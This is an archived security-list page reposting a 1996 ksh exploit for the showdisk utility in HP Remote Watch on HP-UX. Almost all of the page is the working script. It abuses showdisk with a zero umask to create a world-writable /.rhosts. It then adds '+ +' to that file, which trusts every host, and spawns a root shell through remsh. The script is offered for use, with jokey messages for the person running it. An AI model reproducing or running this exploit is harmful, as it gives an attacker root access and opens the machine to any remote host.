TUCoPS :: HP/UX :: hpux_sch.txt

HP-UX schlowdishk shell script


                               HPUX schlowdishk
                                       
   Aleph One (aleph1@dfw.net)
   Sat, 19 Oct 1996 00:22:03 -0700

#!/bin/ksh

# OK.. this bug gets inserted into remwatch after the patch.. It was there
# before in some versions, but now it's pretty much universal if the patch
# gets installed...
# Silly Scriptor & friend, SOD, (11Jun96)

if [ ! -x /usr/remwatch/bin/disks/showdisk ]
then
  echo This is an exploit for the showdisk utility internal to
  echo HP\'s Remote Watch series of programs.
  echo The showdisk utility doesn\'t appear to be on your system.
  echo Moo
  exit
fi

FILE=$1
if [ -z "$FILE" ]
then
  FILE=/.rhosts
fi


if [ -f "$FILE" ]
then
  echo "Hey, there already a ${FILE}!"
  echo "I'd rather enjoy making new files, thank you very much..."
  exit
fi

umask 0000
/usr/remwatch/bin/disks/showdisk arg arg ${FILE} arg > /dev/null 2>&1
>${FILE}
ls -l ${FILE}

if [ "${FILE}" = "/.rhosts" ]
then
  echo "Adding + + ..."
  echo "+ +" >> /.rhosts
  remsh localhost -l root ksh -i
fi


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH